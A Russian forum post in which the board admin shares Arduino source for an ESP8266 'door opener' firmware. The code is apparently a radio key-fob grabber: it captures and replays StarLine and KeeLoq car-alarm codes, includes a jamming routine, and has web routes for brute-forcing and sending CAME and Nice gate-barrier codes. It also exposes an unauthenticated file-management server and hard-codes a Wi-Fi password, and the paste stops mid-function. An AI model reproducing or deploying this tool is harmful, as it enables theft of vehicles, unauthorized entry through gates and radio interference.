8266 WEMOS-domofon-open

ЕСП8266 и примеры прошивок
Аватар пользователя
admin
Администратор
Сообщений: 341
Зарегистрирован: 10 июн 2017, 16:49
Откуда: Rakun City @GanstaParadise-Telegram
Контактная информация:

8266 WEMOS-domofon-open

Сообщение admin » 01 окт 2017, 15:32

Вай фай и

радио открыватель двери, вместо домофона,прописывается пульт от машины ,открывается в радиусе 1км,с дивана сейчас открываю свою дверь 8-)

принцип работы или с радио брелка ,или подключаетесь к вай фай дверь и открываете её с адресса

,вот исходник
DWERNEW37_PWD210918_DORNAME_fixStar.rar
+ кнопки пользовательские
(277.48 KiB) Загружено 275 раз

DWERNEW37_PWD200918_DORNAME_fixStar.rar
с паролем и прочем супер версия)))
(277.4 KiB) Загружено 271 раз

Код: Выбрать все


#include "FS.h"

#include <ArduinoJson.h>
const char* filename = "/data.json";

#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <EEPROM.h>
#define DBG_OUTPUT_PORT Serial
#include <ESP8266mDNS.h>

ESP8266WebServer server(80);
const char* host = "King-Grabber";
File fsUploadFile;

String getContentType(String filename) {
  if (server.hasArg("download")) return "application/octet-stream";
  else if (filename.endsWith(".htm")) return "text/html";
  //// else if(filename.endsWith(".html")) return "text/html";
  else if (filename.endsWith(".css")) return "text/css";
  else if (filename.endsWith(".js")) return "application/javascript";
  else if (filename.endsWith(".png")) return "image/png";
  else if (filename.endsWith(".gif")) return "image/gif";
  else if (filename.endsWith(".jpg")) return "image/jpeg";
  ////else if(filename.endsWith(".ico")) return "image/x-icon";
  else if (filename.endsWith(".xml")) return "text/xml";
  else if (filename.endsWith(".pdf")) return "application/x-pdf";
  else if (filename.endsWith(".zip")) return "application/x-zip";
  else if (filename.endsWith(".gz")) return "application/x-gzip";
  return "text/plain";
}

bool handleFileRead(String path) {
  DBG_OUTPUT_PORT.println("handleFileRead: " + path);
  if (path.endsWith("/")) path += "index.htm";
  String contentType = getContentType(path);
  String pathWithGz = path + ".gz";
  if (SPIFFS.exists(pathWithGz) || SPIFFS.exists(path)) {
    if (SPIFFS.exists(pathWithGz))
      path += ".gz";
    File file = SPIFFS.open(path, "r");
    server.streamFile(file, contentType);
    file.close();
    return true;
  }
  return false;
}

void handleFileList() {
  if (!server.hasArg("dir")) {
    server.send(500, "text/plain", "BAD ARGS");
    return;
  }

  String path = server.arg("dir");
  DBG_OUTPUT_PORT.println("handleFileList: " + path);
  Dir dir = SPIFFS.openDir(path);
  path = String();

  String output = "[";
  while (dir.next()) {
    File entry = dir.openFile("r");
    if (output != "[") output += ',';
    bool isDir = false;
    output += "{\"type\":\"";
    output += (isDir) ? "dir" : "file";
    output += "\",\"name\":\"";
    output += String(entry.name()).substring(1);
    output += "\"}";
    entry.close();
  }

  output += "]";
  server.send(200, "text/json", output);
}


void handleFileUpload() {
  if (server.uri() != "/edit") return;
  HTTPUpload& upload = server.upload();
  if (upload.status == UPLOAD_FILE_START) {
    String filename = upload.filename;
    if (!filename.startsWith("/")) filename = "/" + filename;
    DBG_OUTPUT_PORT.print("handleFileUpload Name: "); DBG_OUTPUT_PORT.println(filename);
    fsUploadFile = SPIFFS.open(filename, "w");
    filename = String();
  } else if (upload.status == UPLOAD_FILE_WRITE) {
    //DBG_OUTPUT_PORT.print("handleFileUpload Data: "); DBG_OUTPUT_PORT.println(upload.currentSize);
    if (fsUploadFile)
      fsUploadFile.write(upload.buf, upload.currentSize);
  } else if (upload.status == UPLOAD_FILE_END) {
    if (fsUploadFile)
      fsUploadFile.close();
    DBG_OUTPUT_PORT.print("handleFileUpload Size: "); DBG_OUTPUT_PORT.println(upload.totalSize);
  }
}

void handleFileDelete() {
  if (server.args() == 0) return server.send(500, "text/plain", "BAD ARGS");
  String path = server.arg(0);
  DBG_OUTPUT_PORT.println("handleFileDelete: " + path);
  if (path == "/")
    return server.send(500, "text/plain", "BAD PATH");
  if (!SPIFFS.exists(path))
    return server.send(404, "text/plain", "FileNotFound");
  SPIFFS.remove(path);
  server.send(200, "text/plain", "");
  path = String();
}

void handleFileCreate() {
  if (server.args() == 0)
    return server.send(500, "text/plain", "BAD ARGS");
  String path = server.arg(0);
  DBG_OUTPUT_PORT.println("handleFileCreate: " + path);
  if (path == "/")
    return server.send(500, "text/plain", "BAD PATH");
  if (SPIFFS.exists(path))
    return server.send(500, "text/plain", "FILE EXISTS");
  File file = SPIFFS.open(path, "w");
  if (file)
    file.close();
  else
    return server.send(500, "text/plain", "CREATE FAILED");
  server.send(200, "text/plain", "");
  path = String();
}
//format bytes
String formatBytes(size_t bytes) {
  if (bytes < 1024) {
    return String(bytes) + "B";
  } else if (bytes < (1024 * 1024)) {
    return String(bytes / 1024.0) + "KB";
  } else if (bytes < (1024 * 1024 * 1024)) {
    return String(bytes / 1024.0 / 1024.0) + "MB";
  } else {
    return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB";
  }
}
void Spif() {


  DBG_OUTPUT_PORT.begin(115200);
  DBG_OUTPUT_PORT.print("\n");
  DBG_OUTPUT_PORT.setDebugOutput(true);
  SPIFFS.begin();
  {
    Dir dir = SPIFFS.openDir("/");
    while (dir.next()) {
      String fileName = dir.fileName();
      size_t fileSize = dir.fileSize();
      DBG_OUTPUT_PORT.printf("FS File: %s, size: %s\n", fileName.c_str(), formatBytes(fileSize).c_str());
    }
    DBG_OUTPUT_PORT.printf("\n");
  }


  //WIFI INIT
  ///  DBG_OUTPUT_PORT.printf("Connecting to %s\n", ssid);
  /// if (String(WiFi.SSID()) != String(ssid)) {
  ///   WiFi.mode(WIFI_STA);
  ///   WiFi.begin(ssid, password);
  ////  }

  ///while (WiFi.status() != WL_CONNECTED) {
  ///  delay(500);
  ///  DBG_OUTPUT_PORT.print(".");
  ///// }
  DBG_OUTPUT_PORT.println("");
  DBG_OUTPUT_PORT.print("Connected! IP address: ");
  DBG_OUTPUT_PORT.println(WiFi.localIP());

  MDNS.begin(host);
  DBG_OUTPUT_PORT.print("Open http://");
  DBG_OUTPUT_PORT.print(host);
  DBG_OUTPUT_PORT.println(".local/edit to see the file browser");


  //SERVER INIT
  //list directory
  server.on("/list", HTTP_GET, handleFileList);
  //load editor
  server.on("/edit", HTTP_GET, []() {
    if (!handleFileRead("/edit.htm")) server.send(404, "text/plain", "FileNotFound");
  });
  //create file
  server.on("/edit", HTTP_PUT, handleFileCreate);
  //delete file
  server.on("/edit", HTTP_DELETE, handleFileDelete);
  //first callback is called after the request has ended with all parsed arguments
  //second callback handles file uploads at that location
  server.on("/edit", HTTP_POST, []() {
    server.send(200, "text/plain", "");
  }, handleFileUpload);

  //called when the url is not defined here
  //use it to load content from SPIFFS
  server.onNotFound([]() {
    if (!handleFileRead(server.uri()))
      server.send(404, "text/plain", "FileNotFound");
  });

  //get heap status, analog input value and all GPIO statuses in one json call
  server.on("/all", HTTP_GET, []() {
    String json = "{";
    json += "\"heap\":" + String(ESP.getFreeHeap());
    json += ", \"analog\":" + String(analogRead(A0));
    json += ", \"gpio\":" + String((uint32_t)(((GPI | GPO) & 0xFFFF) | ((GP16I & 0x01) << 16)));
    json += "}";
    server.send(200, "text/json", json);
    json = String();
  });
  server.begin();
  DBG_OUTPUT_PORT.println("HTTP server started");

}

////ESP8266WebServer server(80);
const char* ssid2 = "DWER-GANSTA-PARADISE"; //название точки доступа
const char* password2 = "83219PETROVICH"; // пароль не будем писать
///const char* ssid="Gansta-Paradise.com"; // здесь пишем название домашней точки доступа
////const char* password="123412345"; // и пароль

String webSite, javaScript, XML;
unsigned long wait000 = 0UL, wait001 = 1000UL, wait003 = 1000UL;

int Sila, SilaLow = -43;   // Контроль силы сигнала WiFi
int Batareya, BatLow = 400; //Контроль напряжения батареи
float Povorot = 0.8, Trimer;    // Переменные для значений поворота и тримера двигателя
String Bat, SilaW;
////brut shlak;

volatile static long send_code_brut = 1000;

/////////////////////radio/////////////////////////////////////////////////////////////////////////////////////////////////

int fug;

int fug1;
int fug2;


int fug22;


int fug4;

int fug41;
int fug42;


int fug422;


int stoppriem = 1;



int fug3;

int fug31;
int fug32;


int fug322;

/////////////////////////////////////////////////////parol
int kiop3 = 0;
int pam = 50;
int passwordkg[6] = {8, 3, 2, 1, 9, 0};

int parolking = 0;
int parolvvod[6] = {0, 0, 0, 0, 0, 0};
int i1p = 0;
int yach = 0;

int send_codekg = 0;
int send_codezoy = 0;

int send_code = 1;

int yacheyka = 0;
///////////////////////////////////////////////////////////////////////



int starres = 0;

int pakiweb = 0;
int bitnumber = 0;
int shirt = 0;

//wifii&server end/////////////////////////////////////

//menu

boolean backlight = true;
int contrast = 50;
int kiop = 0;
int menuitem = 1;
int page = 1;

int pagero = 0;

int smena = 1;//smena sig

volatile boolean up = false;
volatile boolean down = false;
volatile boolean middle = false;

int downButtonState = 0;
int upButtonState = 0;
int selectButtonState = 0;
int lastDownButtonState = 0;
int lastSelectButtonState = 0;
int lastUpButtonState = 0;





//menu end



#define rxPin D7  //d7
///#define migon D2
#define TX D5 //d6
#define fugabum D6 //d6





int ing = 0;
int starlineCounter = 0;
int starlinePreambula = 0;
static long StarLineCode1 = 0; // first part
static long StarLineCode2 = 0; // last part
static long invertStarLineCode1 = 0; // first part
static long invertStarLineCode2 = 0; // last part
String code = "";
boolean bValidPacket = false;
int decodeMethod = 1;
int lastRxValue = 0;
int tempRxValue = 0;
unsigned long lastRxTime = 0;
unsigned long tempTime = 0;

//keeloq
int keeloqHeader = 0;

int keeloqCounter = 0;

int starlineZCounter = 0;

int starlineZpreambulaCounter = 0;
int keeloqPreambula = 0;

int stralineHeader = 0;


static long keeloqCode1 = 0; // first part
static long keeloqCode2 = 0; // last part
static long invertkeeloqCode1 = 0; // first part
static long invertkeeloqCode2 = 0; // last part
String keecode = "";


boolean keebValidPacket = false;

int keelastRxValue = 0;
int keetempRxValue = 0;
unsigned long keelastRxTime = 0;
unsigned long keetempTime = 0;

//пробуем выброс
//keelog start
unsigned long difTime = 0;
unsigned long difTime2 = 0;
int keelog_state = 0;
int keelogCounter = 0;
byte keelog_code[9];
byte keelog_codePAK2[9];
byte keelog_codePAK1[9];
byte hugaz[9];
byte hugazk[9];
byte hugazi[9];
byte starline_code[9];
byte starline_codePAK2[9];
byte starline_codePAK1[9];



byte webpak2[9];
byte webpak1[9];



int starline_state = 0;
byte kefang[9];


byte starline_codePAK2zapis[9];
byte starline_codePAK1zapis[9];

byte starline_codePAK2zapisSBTR[9];
byte starline_codePAK1zapisSBTR[9];


byte keelog_codePAK2zapis[9];
byte keelog_codePAK1zapis[9];


byte keelog_codePAK2zapisSBTR[9];
byte keelog_codePAK1zapisSBTR[9];

byte hugazS[9];
byte hugaziS[9];

byte hugazK[9];
byte hugaziK[9];

int zoro = 1;

/////////////////////////////////////////////////VVODNIE

byte VVOD1[9];
byte VVOD2[9];

String readString;
// --------------------
byte CODE[8];
int x = 0;

int k = 0; //schet keeloq
int kk  = 0; //shet star line

int starkk = 0;

String codan = "Scanning begin";

volatile static long codsh;
String codan2 = "not code";

String codan1 = "not code";
String priem = "0";

String sending = "nothing no send";

String button = "";
String gasa = "zagasa";
#include "shlak.h" //shlakbaums
#include "nice.h" //shlakbaums

int shlakoffpriem = 1;
int stopsigi = 1;

void codanz() {

  codan;


}

void prepareFile() {

  Serial.println("Prepare file system");
  SPIFFS.begin();

  File file = SPIFFS.open("/1.txt", "r");
  if (!file) {
    Serial.println("file open failed!");
  } else {
    Serial.println("file open success:)");

    while (file.available()) {
      Serial.write(file.read());
    }
    file.close();
  }
}



void Batare() {
  /// Batareya = 333666;         // Меряем напряжение батареи

}
void SilaWifi() {
  Sila = WiFi.RSSI();  // Меряем силу сигнала WiFi
  if (Sila < SilaLow) {
    SilaW = "          Сигнал слабый";
  }
  else {
    SilaW = "";
  }
}

void buildJavascript() {
  javaScript = "<SCRIPT>\n";
  javaScript += "xmlHttp=createXmlHttpObject();\n";

  javaScript += "function createXmlHttpObject(){\n";
  javaScript += "  if(window.XMLHttpRequest){\n";
  javaScript += "    xmlHttp=new XMLHttpRequest();\n";
  javaScript += "  }else{\n";
  javaScript += "    xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');\n";
  javaScript += "  }\n";
  javaScript += "  return xmlHttp;\n";
  javaScript += "}\n";

  javaScript += "function process(){\n";
  javaScript += "  if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
  javaScript += "    xmlHttp.onreadystatechange=function(){\n";
  javaScript += "      if(xmlHttp.readyState==4&&xmlHttp.status==200){\n";
  javaScript += "        xmlDoc=xmlHttp.responseXML;\n";
  javaScript += "        xmlmsg=xmlDoc.getElementsByTagName('millistime')[0].firstChild.nodeValue;\n";
  //// javaScript+="        document.getElementById('Priem').innerHTML=xmlmsg;\n";
  javaScript += "        var pri = xmlDoc.getElementsByTagName('Priem')[0].firstChild.nodeValue;if(pri>332){var audio = new Audio('/gun0.mp3'); audio.play();pri=0;};";
  javaScript += "        document.getElementById('runtime').innerHTML=xmlmsg;\n";             // Добавляем наши данные
  javaScript += "        xmlmsg=xmlDoc.getElementsByTagName('Sila')[0].firstChild.nodeValue;\n"; // Сила сигнала WiFi
  javaScript += "        document.getElementById('Sila').innerHTML=xmlmsg;\n";                // Сила сигнала WiFi
  javaScript += "        xmlmsg=xmlDoc.getElementsByTagName('Batareya')[0].firstChild.nodeValue;\n"; // Напряжение батареи
  javaScript += "        document.getElementById('Batareya').innerHTML=xmlmsg;\n";                // Напряжение батареи





  javaScript += "        xmlmsg=xmlDoc.getElementsByTagName('sending')[0].firstChild.nodeValue;\n"; //
  javaScript += "        document.getElementById('sending').innerHTML=xmlmsg;\n";                // посылка кода

  javaScript += "        xmlmsg=xmlDoc.getElementsByTagName('Paket')[0].firstChild.nodeValue;\n";
  javaScript += "        document.getElementById('Paket').innerHTML=xmlmsg;\n";

  javaScript += "        xmlmsg=xmlDoc.getElementsByTagName('Paket1')[0].firstChild.nodeValue;\n";
  javaScript += "        document.getElementById('Paket1').innerHTML=xmlmsg;\n";


  javaScript += "        xmlmsg=xmlDoc.getElementsByTagName('button')[0].firstChild.nodeValue;\n"; // knop
  //// javaScript+="        document.getElementById('button').innerHTML=xmlmsg;\n";                  // knop

  javaScript += "   document.getElementById('button').onclick = function (button) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/socket2On',true);xmlhttp.send();var audio = new Audio('/gun0.mp3'); audio.play()};" ;
  //javaScript+="   document.getElementById('buz').onclick = function (buz) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/socket2Off',true);xmlhttp.send();};" ;
  //javaScript+="   document.getElementById('kee1').onclick = function (kee1) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/socket1On',true);xmlhttp.send();};" ;
  //javaScript+="   document.getElementById('kee2').onclick = function (kee2) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/socket1Off',true);xmlhttp.send();};" ;
  //javaScript+="   document.getElementById('brut_g').onclick = function (brut_g) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/brut_g',true);xmlhttp.send();};" ;
  //// javaScript+="  var button =1; if (button==1){alert('Пошел на хуй');button++;alert(button);} };";

  javaScript += "      }\n";
  javaScript += "    }\n";
  javaScript += "    xmlHttp.open('PUT','xml',true);\n";
  javaScript += "    xmlHttp.send(null);\n";
  javaScript += "  }\n";
  javaScript += "  setTimeout('process()',100);\n";
  javaScript += "}\n";





  javaScript += "function PutXML(){\n";
  /// javaScript+="  var senk =document.getElementById('sending').value;\n";
  ///javaScript+="  document.getElementById('sending').innerHTML=sliderVal;\n";
  /// javaScript+="  document.getElementById('ESPval'+cnt).innerHTML=9*(100-sliderVal)+100;\n";
  ///  javaScript+="  if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
  ///  javaScript+="    xmlHttp.open('PUT','xml',true);\n";
  ///  javaScript+="    xmlHttp.send(null);\n";
  ///  javaScript+="  }\n";
  javaScript += "}\n";


  /////////// javaScript+="</SCRIPT>\n";


  javaScript += "function writetofile(){\n";
  /// javaScript+=" var fso, tf;";
  ///javaScript+="  fso = new ActiveXObject('Scripting.FileSystemObject'); ";
  /// javaScript+="  tf = fso.CreateTextFile('E:\1.txt', true);";
  ///javaScript+="    tf.WriteLine('Testing 1, 2, 3.') ; ";
  ///  javaScript+=" tf.Write ('This is a test.');tf.Close();";
  ///  javaScript+="    xmlHttp.send(null);\n";
  ///  javaScript+="  }\n";
  javaScript += "}\n";


  javaScript += "</SCRIPT>\n";




}
void buildWebsite() {   // Создаём страницу с элементами управления
  buildJavascript();
  webSite = "<!DOCTYPE HTML>\n";
  webSite += "<META name='viewport' content='width=device-width, initial-scale=1', charset=\"utf-8\">\n";
  webSite += "<link rel='shortcut icon' type='image/x-icon' href='/favicon.ico'>";

  webSite += "<style> #Paket{color:green}button{border: solid;border-radius: 300px;border-color: green;font-size: 15px;font-family: -webkit-pictograph;background: #d5e0d3;width: 155px; outline: none;}button:hover{border: solid;border-radius: 300px;border-color: pink;font-size: 15px;font-family: -webkit-pictograph;background: #d5e0d3;width: 155px;}input#button_s {border: double;border-color: green;  border-radius: 30px;} input#input1 {    width: 90%;    height: 20px;    border-radius: 30px;    padding: 5px;}input#input2 {    width: 90%;    height: 20px;    border-radius: 30px;    padding: 5px;}}</style>";








  webSite += javaScript;
  webSite += "<BODY onload='process()'>\n";
  webSite += "WifiDWER\n<br>";
  webSite += "Время работы = <A ID='runtime'></A>\n<br>";
  webSite += "Сила сигнала <A ID='Sila'></A>\n<br>";            // Сила сигнала WiFi
  webSite += "CodeGrabing<br> <A ID='Batareya'></A>\n<br>"; // Напряжение батареи
  webSite += "Пакет2:<A ID='Paket'></A>\n<br>"; // Напряжение батареи
  webSite += "Пакет1:<A ID='Paket1'></A>\n<br>"; // Напряжение батареи
  /// webSite+="<TABLE BORDER=1 width='700' height='100' style='text-align:center;border-collapse:collapse'>\n";
  //  webSite+="<INPUT ' TYPE='range' width='600'> \n";  // это пример слайдера

  webSite += "<table><tr>";
  webSite += "<td><button id='button' onclick='doFunction();'>ОТКРЫТЬ (OPEN)\n";
  webSite += "</button></td></tr></table>";









  webSite += "<div id='sending'>\n";

  webSite += "</div>\n";

  webSite += "<img id='logotip'  src='/logonofon.png'>";

  //// webSite+="<p>OTPRAVITI COD STARLINE  <a href=\"socket2On\"><button>PAK1</button></a>&nbsp;<a href=\"socket2Off\"><button>PAK2</button></a></p><br>";
  ///  webSite+="<p>OTPRAVITI COD KEELOQ  <a href=\"socket1On\"><button>PAK1</button></a>&nbsp;<a href=\"socket1Off\"><button>PAK2</button></a></p><br>";

  //          webSite+="<p>PRIEM</p><table><tr><td>  <a href=\"socket3On\"><button>ON</button></a></td><td><a href=\"socket3Off\"><button>OFF</button></a></td></tr></table><br>";
  //            webSite+="<p>SEND SHLAK </p> <table><tr><td><a href=\"ShlakSend\"><button>SendShlakCode</button></a></td><td><a href=\"ShlakSendOff\"><button>OFF</button></a></td></tr></table><br>";
  //             webSite+="<p>StopSigi</p> <table><tr><td><a href=\"StopSigi\"><button>StopSigi</button></a></td><td><a href=\"StatSigi\"><button>StartSigi</button></a></td></tr></table><br>";
  //            webSite+="<p>BRUTSHLAK</p><table><tr><td>  <a href=\"ShlakOn\"><button>BRUT1</button></a></td><td><a href=\"BrutSh2\"><button>BRUT2</button></a></td></tr><br>";
  //             webSite+="<tr><td><button id='brut_g' onclick='doFunction();'>BRUTSHLAK_G\n";
  //                   webSite+="</button></td></tr></table>";
  //
  //
  //                webSite+="         <p>ВЫброс шлакоёбов GAME</p><br>";
  //
  //          webSite+="         <form action=\"GETS\" method=\"GET\">";
  //     webSite+="  <input type=\"text\" name=\"name\" minlength=\"4\" maxlength=\"4\" value=\"0001\" id=\"input1\"/><br><br>";
  //    //////// webSite+="  <input type=\"text\" name=\"count\" id=\"input2\"/><br>";
  //     webSite+="  <input type=\"submit\"  value=\"SEND\" id=\"button_s\"/>";
  //  webSite+="  </form>  ";
  //
  //
  //    webSite+="         <p>ВЫброс шлакоёбов NICE</p><br>";
  //
  //         webSite+="         <form id=\"form2\" action=\"GETSN\" method=\"GET\">";
  //     webSite+="  <input type=\"text\" name=\"name\" minlength=\"8\" maxlength=\"8\" value=\"10130001\" id=\"input1\"/><br><br>";
  //   /////  webSite+="  <input type=\"text\" name=\"count\" id=\"input2\"/><br>";
  //  webSite+="  <input type=\"submit\"  value=\"SEND\" id=\"button_s\"/>";
  //  webSite+="  </form>  ";


  webSite += "</BODY>\n";
  webSite += "</HTML>\n";





}
String millis2time() { // преобразование милисекунд в вид ч/м/с
  String Time = "";
  unsigned long ss;
  byte mm, hh;
  ss = millis() / 1000;
  hh = ss / 3600;
  mm = (ss - hh * 3600) / 60;
  ss = (ss - hh * 3600) - mm * 60;
  if (hh < 10)Time += "0";
  Time += (String)hh + ":";
  if (mm < 10)Time += "0";
  Time += (String)mm + ":";
  if (ss < 10)Time += "0";
  Time += (String)ss;
  return Time;
}

void buildXML() {
  XML = "<?xml version='1.0'?>";
  XML += "<xml>";
  XML += "<millistime>";
  XML += millis2time();
  XML += "</millistime>"; // Добавляем наши данные
  SilaWifi();             // Здесь измеряем силу сигнала
  XML += "<Sila>";        // Сила сигнала WiFi
  XML += String(Sila) + SilaW; // Сила сигнала WiFi
  XML += "</Sila>";       // Сила сигнала WiFi

  codanz();
  ///  startgrabber(); ////code
  XML += "<Batareya>";
  ////XML+="<br>";
  XML += String(codan);
  XML += "</Batareya>";





  XML += "<Paket>";
  XML += String(codan2);
  XML += "</Paket>";


  XML += "<Paket1>";
  XML += String(codan1);
  XML += "</Paket1>";

  XML += "<Priem>";
  XML += String(priem);
  XML += "</Priem>";



  XML += "<button>";

  XML += String(button) + "button send";
  XML += "</button>";

  XML += "<button2>";

  XML += String(button) + "button send";
  XML += "</button2>";

  XML += "<sending>";

  XML += String(sending);

  XML += "</sending>";

  XML += "<senk>";

  XML += String("seva");

  XML += "</senk>";

  XML += "</xml>";
}

void handleWebsite() {
  buildWebsite();
  server.send(200, "text/html", webSite);
}

void handleXML() {
  buildXML();
  server.send(200, "text/xml", XML);
}

void handleESPval() {


  /// int sliderCNT=server.arg("Batareya");
  String button3243 = server.arg("codan");

  Serial.println(button3243);
  buildXML();
  server.send(200, "text/xml", XML);
}

void setup() {

  ESP.wdtDisable();
  /////while (1){};
  /////ESP.wdtEnable(1000000);


  /////////////////spifs


  //Initialize File System

  //////////////////////////

  EEPROM.begin(3512);
  Serial.begin(115200);

  pinMode(TX, OUTPUT);
    pinMode(D6, OUTPUT);
  //// pinMode(migon, OUTPUT);

  pinMode(rxPin, INPUT);
  digitalWrite(fugabum, LOW);

  prepareFile();



  lastRxValue = digitalRead(rxPin);
  lastRxTime = micros();

  //kee
  //// migon = digitalRead(rxPin);
  keelastRxValue = digitalRead(rxPin);
  keelastRxTime = micros();
  //// delay(1000);

/// WiFi.softAPdisconnect();
///  WiFi.disconnect();

  WiFi.softAP(ssid2, password2); // Создаём точку доступа
  ///// WiFi.begin(ssid,password);  //Это вариант для подключения к существующей точке
  //  while(WiFi.status()!=WL_CONNECTED)delay(500);
  ///WiFi.mode(WIFI_STA);
  Spif();
  Serial.println("\n\nBOOTING ESP8266 ...");
  Serial.print("Connected to ");
  Serial.println(ssid2);
  Serial.print("Station IP address: ");
  Serial.println(WiFi.softAPIP());   
  ////Serial.println(WiFi.localIP());     // Вывод в монитор порта присвоенный IP
  server.on("/", handleWebsite);
  server.on("/xml", handleXML);
  server.on("/setESPval", handleESPval);




  server.on("/socket1On", []() {
    server.send(200, "text/html", webSite);
    Serial.println("\n\nBOOTING ESP8266 shlremm ...");
    posilkeeloq1();

  });
  server.on("/socket1Off", []() {
    server.send(200, "text/html", webSite);
    Serial.println("\n\nBOOTING ESP8266ddgdg ...");
    posilkeeloq2();

  });
  server.on("/socket2On", []() {
    sending = "openDOOR";
    server.send(200, "text/html", webSite);

    Serial.println("OPENING...");
    ////posilstarline1();

    opendver();
    sending = "closed-DOOR";

  });
  server.on("/socket2Off", []() {
    server.send(200, "text/html", webSite);
    Serial.println(" star paket2...");
    posilstarline2();

  });


  server.on("/socket3On", []() {
    server.send(200, "text/html", webSite);
    Serial.println("priem on");

    stoppriem = 1;

  });
  server.on("/socket3Off", []() {
    server.send(200, "text/html", webSite);
    Serial.println(" priem off");
    stoppriem = 0;

  });

  server.on("/brut_g", []() {
    server.send(200, "text/html", webSite);
    Serial.println("\n\nBryt_g ...");
    brutshlakgansta();

  });
  ///////////////////////////////////////////////////////////////////////////////////new
  /////////////sigi/////////////////////////////
  ///////server.on("/GETS", HTTP_GET, []{
  server.on("/StopSigi", []() {
    server.send(200, "text/html", webSite);
    Serial.println("priem on");
    sending = "Sigi-Scaning-OFF";
    stopsigi = 0;

  });

  server.on("/StatSigi", []() {
    server.send(200, "text/html", webSite);
    Serial.println("priem on");
    sending = "Sigi-Scaning-ONN";
    stopsigi = 1;

  });

  ////////////////////////////////////////////////////////////////////


  server.on("/GETS", []() {

    Serial.println("SEND SHLAK CODE");



    String message = "";
    message += server.arg(0);


    ////for (int i = 0; i < server.args(); i++) {

    ////message += "Arg nº" + (String)i + " –> ";
    ////message += server.argName(i) + ": ";
    ////message += server.arg(i) + "\n";
    ///Serial.println(message);
    ////}




    Serial.println(message);
    SendCame4(message.toInt());

    sending = "Shlak-send:" + message;


    server.send(200, "text/html", webSite);
  });

  ///////////////////NICE///////////////////////


  server.on("/GETSN", []() {

    Serial.println("SEND SHLAK CODE NICE");



    String message = "";
    message += server.arg(0);


    ////for (int i = 0; i < server.args(); i++) {

    ////message += "Arg nº" + (String)i + " –> ";
    ////message += server.argName(i) + ": ";
    ////message += server.arg(i) + "\n";
    ///Serial.println(message);
    ////}




    Serial.println(message);
    SendNice(message.toInt());

    sending = "Shlak-nice-send:" + message;


    server.send(200, "text/html", webSite);
  });




  /////////////shlaprisend


  server.on("/ShlakSend", []() {
    EEPROM.begin(3512);
    codsh = EEPROM_long_read(3000);


    EEPROM.commit();
    EEPROM.end();

    SendCame4(codsh);
    /////sending ="Shlak-send:"+String(lastCode);

    byte zur [4] ;


    long codsh1 = codsh;



    for (int i = 0; i < 4; i++) {
      zur[i] = codsh1 % 10;
      codsh1 /= 10;
      Serial.println(zur[i], HEX);

      ////int huypo = bitRead(zur[i], i);
      //// Serial.println(huypo);


    }



    sending = "Shlak-send:" + String(codsh);

    Serial.println(" Send Shlak code:" );
    Serial.println(codsh, HEX);
    Serial.println(codsh, BIN);
    Serial.println(zur[0], HEX);
    Serial.println(zur[1], HEX);
    Serial.println(zur[2], HEX);
    Serial.println(zur[3], HEX);
    server.send(200, "text/html", webSite);



  });

  //////////////////////////////

  ///////////brutshlak

  server.on("/ShlakOn", []() {




    sending = "Shlak-Brut-Long-Wait";

    Serial.println(" Send Shlak code");
    server.send(200, "text/html", webSite);
    brutshlak();


    /////BrutSh2

  });

  server.on("/BrutSh2", []() {




    sending = "Shlak-Brut-Long-Wait";

    Serial.println(" Send Shlak code");
    server.send(200, "text/html", webSite);
    brutshlak2();


    /////BrutSh2

  });
  //////////////////

  //////////ShlakSendOff

  server.on("/ShlakSendOff", []() {


    shlakoffpriem = ~shlakoffpriem;

    if (shlakoffpriem == 1) {

      sending = "Shlak-Scaning-ONN";


    }

    else {
      Serial.println(" Shlak-Scaning-OFF");
      sending = "Shlak-Scaning-OFF";
    }


    server.send(200, "text/html", webSite);





  });


  //////////////////



  server.begin();
}




void loop() {

  ESP.wdtFeed();

  server.handleClient();

  if (stoppriem == 1) {

    startgrabber();
  }


  if (millis() > wait000) {
    buildXML();
    wait000 = millis() + 1000UL;
  }
  if (millis() > wait001) {
    wait001 = millis() + 300;       //Обновляем значения раз в 300 милисекунд


  }

  if (millis() > wait003) {
    wait003 = millis() + 1000;
    priem = "0";
  }



}




















////////////////////radio





void send_meander(int time)//pra meandr

{
  digitalWrite(TX, HIGH);
  delayMicroseconds(time);
  digitalWrite(TX, LOW);
  delayMicroseconds(time);
}

void SendStarlinePreambula()
{
  for (byte i = 0; i <= 10; i++)
    send_meander(1000);
}

void SendStarlineBit(byte b)
{
  if (b)
    send_meander(250); // 1
  else
    send_meander(500); // 0
}

void SendStarline(unsigned char *TCODE, unsigned int S)
{
  for (int j = 0; j < 10; j++)                            // посылку посылаем как и брелок - 10 раз подряд.
  {
    SendStarlinePreambula();                              // посылаем преамбулу
    for (byte i = 0; i < S; i++)                          // перебор масива (8 x 8 = 64 bits)
    {
      for (int x = 0; x < 8; x++) {
        SendStarlineBit(!bitRead(TCODE[i], x));               // побитово перебираем, инвертируе и посылаем код
      }
    }
  }
  digitalWrite(TX, HIGH);
}

//  Keeloq ----------------------------------------------
void SendKeeloqPreambula()
{
  for (byte i = 0; i < 23; i++)
    send_meander(400);
}

void SendKeeloq(unsigned char *TCODE)
{
  signed char a;
  SendKeeloqPreambula();
  digitalWrite(TX, LOW);
  delayMicroseconds(10 * 400);

  for (a = 0; a < 66; a++)
  {
    digitalWrite(TX, HIGH);
    delayMicroseconds(400);
    if (TCODE[a / 8] & (1 << (a % 8))) digitalWrite(TX, LOW);
    delayMicroseconds(400);
    digitalWrite(TX, LOW);
    delayMicroseconds(400);
  }
  delay(16);
}
//---------------------------------------------------------

void Jammer() {
  for (int i = 200; i > 0; i--) {
    digitalWrite(TX, LOW);
    delay(20);
    digitalWrite(TX, HIGH);
    delay(20);
  }
}





void SendStarline2(long StarLineCode2, long StarLineCode1 )
{ for (int j = 0; j < 10; j++) // посылку посылаем как и брелок - 10 раз подряд.
  { for (byte i = 0; i < 6; i++)
    {
      digitalWrite(TX, HIGH); // посылаем высокий
      delay(1); // ждём указанное время
      digitalWrite(TX, LOW); // посылаем низкий
      delay(1);
    }
  }
